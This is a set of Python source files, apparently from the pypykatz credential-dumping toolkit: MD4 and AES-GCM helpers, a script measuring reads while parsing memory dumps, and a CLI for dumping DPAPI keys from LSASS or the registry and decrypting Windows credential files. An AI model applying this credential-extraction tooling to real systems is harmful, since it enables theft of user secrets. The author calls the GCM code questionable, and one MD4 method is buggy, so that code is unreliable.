39 | # Message: b'The quick brown fox jumps over the lazy dog' | |
40 | # Expected: 1bee69a46ba811185c194762abaeae90 | |
41 | # Actual: 1bee69a46ba811185c194762abaeae90 | |
42 | # | |
43 | # Message: b'BEES' | |
44 | # Expected: 501af1ef4b68495b5b7e37b15b4cda68 | |
45 | # Actual: 501af1ef4b68495b5b7e37b15b4cda68 | |
46 | # | |
47 | import struct | |
48 | ||
49 | ||
50 | class MD4: | |
51 | """An implementation of the MD4 hash algorithm.""" | |
52 | ||
53 | width = 32 | |
54 | mask = 0xFFFFFFFF | |
55 | ||
56 | # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! | |
57 | h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] | |
58 | ||
59 | def __init__(self, msg=None): | |
60 | """:param ByteString msg: The message to be hashed.""" | |
61 | if msg is None: | |
62 | msg = b"" | |
63 | ||
64 | self.msg = msg | |
65 | ||
66 | # Pre-processing: Total length is a multiple of 512 bits. | |
67 | ml = len(msg) * 8 | |
68 | msg += b"\x80" | |
69 | msg += b"\x00" * (-(len(msg) + 8) % 64) | |
70 | msg += struct.pack("<Q", ml) | |
71 | ||
72 | # Process the message in successive 512-bit chunks. | |
73 | self._process([msg[i : i + 64] for i in range(0, len(msg), 64)]) | |
74 | ||
75 | def __repr__(self): | |
76 | if self.msg: | |
77 | return f"{self.__class__.__name__}({self.msg:s})" | |
78 | return f"{self.__class__.__name__}()" | |
79 | ||
80 | def __str__(self): | |
81 | return self.hexdigest() | |
82 | ||
83 | def __eq__(self, other): | |
84 | return self.h == other.h | |
85 | ||
86 | def bytes(self): | |
87 | """:return: The final hash value as a `bytes` object.""" | |
88 | return struct.pack("<4L", *self.h) | |
89 | ||
90 | def hexbytes(self): | |
91 | """:return: The final hash value as hexbytes.""" | |
92 | return self.hexdigest().encode | |
93 | ||
94 | def hexdigest(self): | |
95 | """:return: The final hash value as a hexstring.""" | |
96 | return "".join(f"{value:02x}" for value in self.bytes()) | |
97 | ||
98 | def digest(self): | |
99 | return self.bytes() | |
100 | ||
101 | def _process(self, chunks): | |
102 | for chunk in chunks: | |
103 | X, h = list(struct.unpack("<16I", chunk)), self.h.copy() | |
104 | ||
105 | # Round 1. | |
106 | Xi = [3, 7, 11, 19] | |
107 | for n in range(16): | |
108 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
109 | K, S = n, Xi[n % 4] | |
110 | hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K] | |
111 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
112 | ||
113 | # Round 2. | |
114 | Xi = [3, 5, 9, 13] | |
115 | for n in range(16): | |
116 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
117 | K, S = n % 4 * 4 + n // 4, Xi[n % 4] | |
118 | hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999 | |
119 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
120 | ||
121 | # Round 3. | |
122 | Xi = [3, 9, 11, 15] | |
123 | Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15] | |
124 | for n in range(16): | |
125 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
126 | K, S = Ki[n], Xi[n % 4] | |
127 | hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1 | |
128 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
129 | ||
130 | self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)] | |
131 | ||
132 | @staticmethod | |
133 | def F(x, y, z): | |
134 | return (x & y) | (~x & z) | |
135 | ||
136 | @staticmethod | |
137 | def G(x, y, z): | |
138 | return (x & y) | (x & z) | (y & z) | |
139 | ||
140 | @staticmethod | |
141 | def H(x, y, z): | |
142 | return x ^ y ^ z | |
143 | ||
144 | @staticmethod | |
145 | def lrot(value, n): | |
146 | lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n) | |
147 | return lbits | rbits | |
148 | ||
149 | ||
150 | def main(): | |
151 | # Import is intentionally delayed. | |
152 | import sys | |
153 | ||
154 | if len(sys.argv) > 1: | |
155 | messages = [msg.encode() for msg in sys.argv[1:]] | |
156 | for message in messages: | |
157 | print(MD4(message).hexdigest()) | |
158 | else: | |
159 | messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"] | |
160 | known_hashes = [ | |
161 | "31d6cfe0d16ae931b73c59d7e0c089c0", | |
162 | "1bee69a46ba811185c194762abaeae90", | |
163 | "501af1ef4b68495b5b7e37b15b4cda68", | |
164 | ] | |
165 | ||
166 | print("Testing the MD4 class.") | |
167 | print() | |
168 | ||
169 | for message, expected in zip(messages, known_hashes): | |
170 | print("Message: ", message) | |
171 | print("Expected:", expected) | |
172 | print("Actual: ", MD4(message).hexdigest()) | |
173 | print() | |
174 | ||
175 | ||
176 | if __name__ == "__main__": | |
177 | try: | |
178 | main() | |
179 | except KeyboardInterrupt: | |
180 | pass |
0 | #!/usr/bin/env python | |
1 | ||
2 | """ | |
3 | Copyright (C) 2013 Bo Zhu http://about.bozhu.me | |
4 | ||
5 | Permission is hereby granted, free of charge, to any person obtaining a | |
6 | copy of this software and associated documentation files (the "Software"), | |
7 | to deal in the Software without restriction, including without limitation | |
8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
9 | and/or sell copies of the Software, and to permit persons to whom the | |
10 | Software is furnished to do so, subject to the following conditions: | |
11 | ||
12 | The above copyright notice and this permission notice shall be included in | |
13 | all copies or substantial portions of the Software. | |
14 | ||
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
21 | DEALINGS IN THE SOFTWARE. | |
22 | ||
23 | SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer. | |
24 | I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library. | |
25 | """ | |
26 | ||
27 | from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter | |
28 | from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE | |
29 | ||
30 | ||
31 | # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128 | |
32 | # Please note the MSB is x0 and LSB is x127 | |
33 | def gf_2_128_mul(x, y): | |
34 | assert x < (1 << 128) | |
35 | assert y < (1 << 128) | |
36 | res = 0 | |
37 | for i in range(127, -1, -1): | |
38 | res ^= x * ((y >> i) & 1) # branchless | |
39 | x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000) | |
40 | assert res < 1 << 128 | |
41 | return res | |
42 | ||
43 | ||
44 | class InvalidInputException(Exception): | |
45 | def __init__(self, msg): | |
46 | self.msg = msg | |
47 | ||
48 | def __str__(self): | |
49 | return str(self.msg) | |
50 | ||
51 | ||
52 | class InvalidTagException(Exception): | |
53 | def __str__(self): | |
54 | return 'The authenticaiton tag is invalid.' | |
55 | ||
56 | ||
57 | # Galois/Counter Mode with AES-128 and 96-bit IV | |
58 | class AES_GCM: | |
59 | def __init__(self, master_key): | |
60 | self.change_key(master_key) | |
61 | ||
62 | def change_key(self, master_key): | |
63 | #if len(master_key) != 16: | |
64 | # raise InvalidInputException('Master key should be 128-bit') | |
65 | ||
66 | self.__master_key = master_key | |
67 | self.__aes_ecb = AESModeOfOperationECB(self.__master_key) | |
68 | self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False) | |
69 | ||
70 | # precompute the table for multiplication in finite field | |
71 | table = [] # for 8-bit | |
72 | for i in range(16): | |
73 | row = [] | |
74 | for j in range(256): | |
75 | row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) | |
76 | table.append(tuple(row)) | |
77 | self.__pre_table = tuple(table) | |
78 | ||
79 | self.prev_init_value = None # reset | |
80 | ||
81 | def __times_auth_key(self, val): | |
82 | res = 0 | |
83 | for i in range(16): | |
84 | res ^= self.__pre_table[i][val & 0xFF] | |
85 | val >>= 8 | |
86 | return res | |
87 | ||
88 | def __ghash(self, aad, txt): | |
89 | len_aad = len(aad) | |
90 | len_txt = len(txt) | |
91 | ||
92 | # padding | |
93 | if 0 == len_aad % 16: | |
94 | data = aad | |
95 | else: | |
96 | data = aad + b'\x00' * (16 - len_aad % 16) | |
97 | if 0 == len_txt % 16: | |
98 | data += txt | |
99 | else: | |
100 | data += txt + b'\x00' * (16 - len_txt % 16) | |
101 | ||
102 | tag = 0 | |
103 | assert len(data) % 16 == 0 | |
104 | for i in range(len(data) // 16): | |
105 | tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False) | |
106 | tag = self.__times_auth_key(tag) | |
107 | # print 'X\t', hex(tag) | |
108 | tag ^= ((8 * len_aad) << 64) | (8 * len_txt) | |
109 | tag = self.__times_auth_key(tag) | |
110 | ||
111 | return tag | |
112 | ||
113 | def encrypt(self, init_value, plaintext, auth_data=b''): | |
114 | if len(init_value) != 12: | |
115 | raise InvalidInputException('IV should be 96-bit') | |
116 | # a naive checking for IV reuse | |
117 | if init_value == self.prev_init_value: | |
118 | raise InvalidInputException('IV must not be reused!') | |
119 | self.prev_init_value = init_value | |
120 | ||
121 | len_plaintext = len(plaintext) | |
122 | ||
123 | if len_plaintext > 0: | |
124 | ctrval_init = init_value + b'\x00'*4 | |
125 | ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False) | |
126 | counter = Counter(initial_value=ctrval+2) #+2 ???? | |
127 | aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter) | |
128 | ||
129 | if 0 != len_plaintext % 16: | |
130 | padded_plaintext = plaintext + \ | |
131 | b'\x00' * (16 - len_plaintext % 16) | |
132 | else: | |
133 | padded_plaintext = plaintext | |
134 | ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext] | |
135 | ||
136 | else: | |
137 | ciphertext = b'' | |
138 | ||
139 | auth_tag = self.__ghash(auth_data, ciphertext) | |
140 | iv_int = int.from_bytes(init_value, byteorder='big', signed=False) | |
141 | iv_int = (iv_int << 32) | 1 | |
142 | iv_int = iv_int.to_bytes(16, byteorder='big', signed=False) | |
143 | iv_int_enc = self.__aes_ecb.encrypt(iv_int) | |
144 | iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False) | |
145 | ||
146 | auth_tag ^= iv_int_enc | |
147 | ||
148 | assert auth_tag < (1 << 128) | |
149 | return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False) | |
150 | ||
151 | def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''): | |
152 | if len(init_value) != 12: | |
153 | raise InvalidInputException('IV should be 96-bit') | |
154 | if len(auth_tag) != 16: | |
155 | raise InvalidInputException('Tag should be 128-bit') | |
156 | ||
157 | iv_int = int.from_bytes(init_value, byteorder='big', signed=False) | |
158 | iv_int = (iv_int << 32) | 1 | |
159 | iv_int = iv_int.to_bytes(16, byteorder='big', signed=False) | |
160 | iv_int_enc = self.__aes_ecb.encrypt(iv_int) | |
161 | iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False) | |
162 | auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc | |
163 | auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False) | |
164 | if auth_tag != auth_tag_verify: | |
165 | raise InvalidTagException | |
166 | ||
167 | len_ciphertext = len(ciphertext) | |
168 | if len_ciphertext > 0: | |
169 | ctrval_init = init_value + b'\x00'*4 | |
170 | ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False) | |
171 | counter = Counter(initial_value=ctrval+2) #+2 ???? | |
172 | aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter) | |
173 | ||
174 | if 0 != len_ciphertext % 16: | |
175 | padded_ciphertext = ciphertext + \ | |
176 | b'\x00' * (16 - len_ciphertext % 16) | |
177 | else: | |
178 | padded_ciphertext = ciphertext | |
179 | plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext] | |
180 | ||
181 | else: | |
182 | plaintext = b'' | |
183 | ||
184 | return plaintext | |
185 | ||
186 | ||
187 | if __name__ == '__main__': | |
188 | master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308') | |
189 | plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \ | |
190 | b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \ | |
191 | b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \ | |
192 | b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \ | |
193 | b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \ | |
194 | b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \ | |
195 | b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \ | |
196 | b'\xba\x63\x7b\x39' | |
197 | auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
198 | b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
199 | b'\xab\xad\xda\xd2' | |
200 | init_value = bytes.fromhex('cafebabefacedbaddecaf888') | |
201 | ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \ | |
202 | b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \ | |
203 | b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \ | |
204 | b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \ | |
205 | b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \ | |
206 | b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \ | |
207 | b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \ | |
208 | b'\x3d\x58\xe0\x91' | |
209 | auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47') | |
210 | ||
211 | print('plaintext:', plaintext.hex()) | |
212 | ||
213 | my_gcm = AES_GCM(master_key) | |
214 | encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data) | |
215 | print('encrypted:', encrypted.hex()) | |
216 | print('auth tag: ', new_tag.hex()) | |
217 | ||
218 | assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091') | |
219 | assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47') | |
220 | ||
221 | decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data) | |
222 | print('decrypted:', decrypted.hex()) | |
223 | ||
224 | ||
225 | #new_tag = int.from_bytes(new_tag, byteorder='big', signed=False) | |
226 | #try: | |
227 | # decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data) | |
228 | #except InvalidTagException: | |
229 | ||
230 |
0 | #!/usr/bin/env python | |
1 | ||
2 | """ | |
3 | Copyright (C) 2013 Bo Zhu http://about.bozhu.me | |
4 | ||
5 | Permission is hereby granted, free of charge, to any person obtaining a | |
6 | copy of this software and associated documentation files (the "Software"), | |
7 | to deal in the Software without restriction, including without limitation | |
8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
9 | and/or sell copies of the Software, and to permit persons to whom the | |
10 | Software is furnished to do so, subject to the following conditions: | |
11 | ||
12 | The above copyright notice and this permission notice shall be included in | |
13 | all copies or substantial portions of the Software. | |
14 | ||
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
21 | DEALINGS IN THE SOFTWARE. | |
22 | """ | |
23 | ||
24 | from Crypto.Cipher import AES | |
25 | from Crypto.Util import Counter | |
26 | from Crypto.Util.number import long_to_bytes, bytes_to_long | |
27 | ||
28 | ||
29 | # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128 | |
30 | # Please note the MSB is x0 and LSB is x127 | |
31 | def gf_2_128_mul(x, y): | |
32 | assert x < (1 << 128) | |
33 | assert y < (1 << 128) | |
34 | res = 0 | |
35 | for i in range(127, -1, -1): | |
36 | res ^= x * ((y >> i) & 1) # branchless | |
37 | x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000) | |
38 | assert res < 1 << 128 | |
39 | return res | |
40 | ||
41 | ||
42 | class InvalidInputException(Exception): | |
43 | def __init__(self, msg): | |
44 | self.msg = msg | |
45 | ||
46 | def __str__(self): | |
47 | return str(self.msg) | |
48 | ||
49 | ||
50 | class InvalidTagException(Exception): | |
51 | def __str__(self): | |
52 | return 'The authenticaiton tag is invalid.' | |
53 | ||
54 | ||
55 | # Galois/Counter Mode with AES-128 and 96-bit IV | |
56 | class AES_GCM: | |
57 | def __init__(self, master_key): | |
58 | self.change_key(master_key) | |
59 | ||
60 | def change_key(self, master_key): | |
61 | if master_key >= (1 << 128): | |
62 | raise InvalidInputException('Master key should be 128-bit') | |
63 | ||
64 | self.__master_key = long_to_bytes(master_key, 16) | |
65 | self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB) | |
66 | self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16)) | |
67 | ||
68 | # precompute the table for multiplication in finite field | |
69 | table = [] # for 8-bit | |
70 | for i in range(16): | |
71 | row = [] | |
72 | for j in range(256): | |
73 | row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) | |
74 | table.append(tuple(row)) | |
75 | self.__pre_table = tuple(table) | |
76 | ||
77 | self.prev_init_value = None # reset | |
78 | ||
79 | def __times_auth_key(self, val): | |
80 | res = 0 | |
81 | for i in range(16): | |
82 | res ^= self.__pre_table[i][val & 0xFF] | |
83 | val >>= 8 | |
84 | return res | |
85 | ||
86 | def __ghash(self, aad, txt): | |
87 | len_aad = len(aad) | |
88 | len_txt = len(txt) | |
89 | ||
90 | # padding | |
91 | if 0 == len_aad % 16: | |
92 | data = aad | |
93 | else: | |
94 | data = aad + b'\x00' * (16 - len_aad % 16) | |
95 | if 0 == len_txt % 16: | |
96 | data += txt | |
97 | else: | |
98 | data += txt + b'\x00' * (16 - len_txt % 16) | |
99 | ||
100 | tag = 0 | |
101 | assert len(data) % 16 == 0 | |
102 | for i in range(len(data) // 16): | |
103 | tag ^= bytes_to_long(data[i * 16: (i + 1) * 16]) | |
104 | tag = self.__times_auth_key(tag) | |
105 | # print 'X\t', hex(tag) | |
106 | tag ^= ((8 * len_aad) << 64) | (8 * len_txt) | |
107 | tag = self.__times_auth_key(tag) | |
108 | ||
109 | return tag | |
110 | ||
111 | def encrypt(self, init_value, plaintext, auth_data=b''): | |
112 | if init_value >= (1 << 96): | |
113 | raise InvalidInputException('IV should be 96-bit') | |
114 | # a naive checking for IV reuse | |
115 | if init_value == self.prev_init_value: | |
116 | raise InvalidInputException('IV must not be reused!') | |
117 | self.prev_init_value = init_value | |
118 | ||
119 | len_plaintext = len(plaintext) | |
120 | # len_auth_data = len(auth_data) | |
121 | ||
122 | if len_plaintext > 0: | |
123 | counter = Counter.new( | |
124 | nbits=32, | |
125 | prefix=long_to_bytes(init_value, 12), | |
126 | initial_value=2, # notice this | |
127 | allow_wraparound=False) | |
128 | aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter) | |
129 | ||
130 | if 0 != len_plaintext % 16: | |
131 | padded_plaintext = plaintext + \ | |
132 | b'\x00' * (16 - len_plaintext % 16) | |
133 | else: | |
134 | padded_plaintext = plaintext | |
135 | ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext] | |
136 | ||
137 | else: | |
138 | ciphertext = b'' | |
139 | ||
140 | auth_tag = self.__ghash(auth_data, ciphertext) | |
141 | print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex()) | |
142 | # print 'GHASH\t', hex(auth_tag) | |
143 | auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt( | |
144 | long_to_bytes((init_value << 32) | 1, 16))) | |
145 | ||
146 | # assert len(ciphertext) == len(plaintext) | |
147 | assert auth_tag < (1 << 128) | |
148 | return ciphertext, auth_tag | |
149 | ||
150 | def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''): | |
151 | if init_value >= (1 << 96): | |
152 | raise InvalidInputException('IV should be 96-bit') | |
153 | if auth_tag >= (1 << 128): | |
154 | raise InvalidInputException('Tag should be 128-bit') | |
155 | ||
156 | print(long_to_bytes((init_value << 32) | 1, 16)) | |
157 | print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16))) | |
158 | print('ghash %s' % self.__ghash(auth_data, ciphertext)) | |
159 | print('') | |
160 | if auth_tag != self.__ghash(auth_data, ciphertext) ^ \ | |
161 | bytes_to_long(self.__aes_ecb.encrypt( | |
162 | long_to_bytes((init_value << 32) | 1, 16))): | |
163 | raise InvalidTagException | |
164 | ||
165 | len_ciphertext = len(ciphertext) | |
166 | if len_ciphertext > 0: | |
167 | counter = Counter.new( | |
168 | nbits=32, | |
169 | prefix=long_to_bytes(init_value, 12), | |
170 | initial_value=2, | |
171 | allow_wraparound=True) | |
172 | aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter) | |
173 | ||
174 | if 0 != len_ciphertext % 16: | |
175 | padded_ciphertext = ciphertext + \ | |
176 | b'\x00' * (16 - len_ciphertext % 16) | |
177 | else: | |
178 | padded_ciphertext = ciphertext | |
179 | plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext] | |
180 | ||
181 | else: | |
182 | plaintext = b'' | |
183 | ||
184 | return plaintext | |
185 | ||
186 | ||
187 | if __name__ == '__main__': | |
188 | master_key = 0xfeffe9928665731c6d6a8f9467308308 | |
189 | plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \ | |
190 | b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \ | |
191 | b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \ | |
192 | b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \ | |
193 | b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \ | |
194 | b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \ | |
195 | b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \ | |
196 | b'\xba\x63\x7b\x39' | |
197 | auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
198 | b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
199 | b'\xab\xad\xda\xd2' | |
200 | init_value = 0xcafebabefacedbaddecaf888 | |
201 | ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \ | |
202 | b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \ | |
203 | b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \ | |
204 | b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \ | |
205 | b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \ | |
206 | b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \ | |
207 | b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \ | |
208 | b'\x3d\x58\xe0\x91' | |
209 | auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47 | |
210 | ||
211 | print('plaintext:', hex(bytes_to_long(plaintext))) | |
212 | ||
213 | my_gcm = AES_GCM(master_key) | |
214 | encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data) | |
215 | print('encrypted:', hex(bytes_to_long(encrypted))) | |
216 | print('auth tag: ', hex(new_tag)) | |
217 | ||
218 | try: | |
219 | decrypted = my_gcm.decrypt(init_value, encrypted, | |
220 | new_tag + 1, auth_data) | |
221 | except InvalidTagException: | |
222 | decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data) | |
223 | print('decrypted:', hex(bytes_to_long(decrypted))) | |
224 |
0 | ||
1 | import sys | |
2 | import traceback | |
3 | import asyncio | |
4 | ||
5 | from pypykatz.pypykatz import pypykatz | |
6 | from pypykatz.apypykatz import apypykatz | |
7 | ||
8 | class DebugFile: | |
9 | def __init__(self, filename): | |
10 | self.filename = filename | |
11 | self.fh = open(self.filename, 'rb') | |
12 | ||
13 | self.reads = [] | |
14 | self.total_read = 0 | |
15 | ||
16 | def read(self, n = -1): | |
17 | #print('READ %s' % n) | |
18 | self.reads.append((self.fh.tell(), n)) | |
19 | self.total_read += n | |
20 | #if n > 1024*40: | |
21 | # print('READ %s' % n) | |
22 | # traceback.print_stack() | |
23 | # input() | |
24 | return self.fh.read(n) | |
25 | ||
26 | def seek(self, n, whence = 0): | |
27 | #print('SEEK %s %s' % (n, whence)) | |
28 | return self.fh.seek(n, whence) | |
29 | ||
30 | def tell(self): | |
31 | return self.fh.tell() | |
32 | ||
33 | class ADebugFile: | |
34 | def __init__(self, filename): | |
35 | self.filename = filename | |
36 | self.fh = open(self.filename, 'rb') | |
37 | ||
38 | self.reads = [] | |
39 | self.total_read = 0 | |
40 | ||
41 | async def read(self, n = -1): | |
42 | #print('READ %s' % n) | |
43 | self.reads.append((self.fh.tell(), n)) | |
44 | self.total_read += n | |
45 | #if n > 1024*40: | |
46 | # print('READ %s' % n) | |
47 | # traceback.print_stack() | |
48 | # input() | |
49 | return self.fh.read(n) | |
50 | ||
51 | async def seek(self, n, whence = 0): | |
52 | #print('SEEK %s %s' % (n, whence)) | |
53 | return self.fh.seek(n, whence) | |
54 | ||
55 | def tell(self): | |
56 | return self.fh.tell() | |
57 | ||
58 | async def amain(): | |
59 | for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]: | |
60 | f = ADebugFile(sys.argv[1]) | |
61 | mimi = await apypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) | |
62 | res = sorted(f.reads, key=lambda x: x[0]) | |
63 | i = 0 | |
64 | for pos, n in res: | |
65 | #print('READ: %s %s' % (pos, n)) | |
66 | if n < 1024: | |
67 | i += 1 | |
68 | print('chk : %s' % chk) | |
69 | print('reads: %s' % len(f.reads)) | |
70 | print('small reads: %s' % i) | |
71 | print('total reads: %s' % (f.total_read)) | |
72 | print('') | |
73 | print('DONE!') | |
74 | ||
75 | ||
76 | def main(): | |
77 | for chk in [512,1024,5*1024,10*1024,20*1024,50*1024]: | |
78 | f = DebugFile(sys.argv[1]) | |
79 | mimi = pypykatz.parse_minidump_external(f, chunksize=chk, packages=['all']) | |
80 | res = sorted(f.reads, key=lambda x: x[0]) | |
81 | i = 0 | |
82 | for pos, n in res: | |
83 | #print('READ: %s %s' % (pos, n)) | |
84 | if n < 1024: | |
85 | i += 1 | |
86 | print('chk : %s' % chk) | |
87 | print('reads: %s' % len(f.reads)) | |
88 | print('small reads: %s' % i) | |
89 | print('total reads: %s' % (f.total_read)) | |
90 | print('') | |
91 | print('DONE!') | |
92 | ||
93 | if __name__ == '__main__': | |
94 | #main() | |
95 | asyncio.run(amain())⏎ |
0 | from pypykatz.commons.common import UniversalEncoder, hexdump | |
1 | import argparse | |
2 | import platform | |
3 | ||
4 | ||
5 | class DPAPICMDHelper: | |
6 | def __init__(self): | |
7 | self.live_keywords = ['dpapi'] | |
8 | self.keywords = ['dpapi'] | |
9 | ||
10 | def add_args(self, parser, live_parser): | |
11 | ||
12 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
13 | live_dpapi_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome') | |
14 | live_dpapi_subparsers.required = True | |
15 | live_dpapi_subparsers.dest = 'livedpapicommand' | |
16 | ||
17 | live_keys_parser = live_dpapi_subparsers.add_parser('keys', help = '[ADMIN ONLY] Dump all local DPAPI related keys. Aggressively. Recommended: use file output. !This takes a while!') | |
18 | live_keys_parser.add_argument('--method', choices = ['lsass', 'registry', 'all'], default = 'all', help= 'Where to look for the keys') | |
19 | live_keys_parser.add_argument('-o', '--outfile', help= 'Output file base name') | |
20 | ||
21 | live_vpol_parser = live_dpapi_subparsers.add_parser('vpol', help = 'Decrypting VPOL file with current user context') | |
22 | live_vpol_parser.add_argument('vpolfile', help= 'VPOL file to decrypt') | |
23 | ||
24 | live_vcred_parser = live_dpapi_subparsers.add_parser('vcred', help = 'Decrypt VCRED') | |
25 | live_vcred_parser.add_argument('vpolfile', help= 'VPOL file to use to decrypt the VCRED file') | |
26 | live_vcred_parser.add_argument('vcredfile', help= 'VCRED file to decrypt') | |
27 | ||
28 | live_cred_parser = live_dpapi_subparsers.add_parser('cred', help = 'Decrypt CRED file') | |
29 | live_cred_parser.add_argument('credfile', help= 'CRED file to decrypt') | |
30 | ||
31 | ||
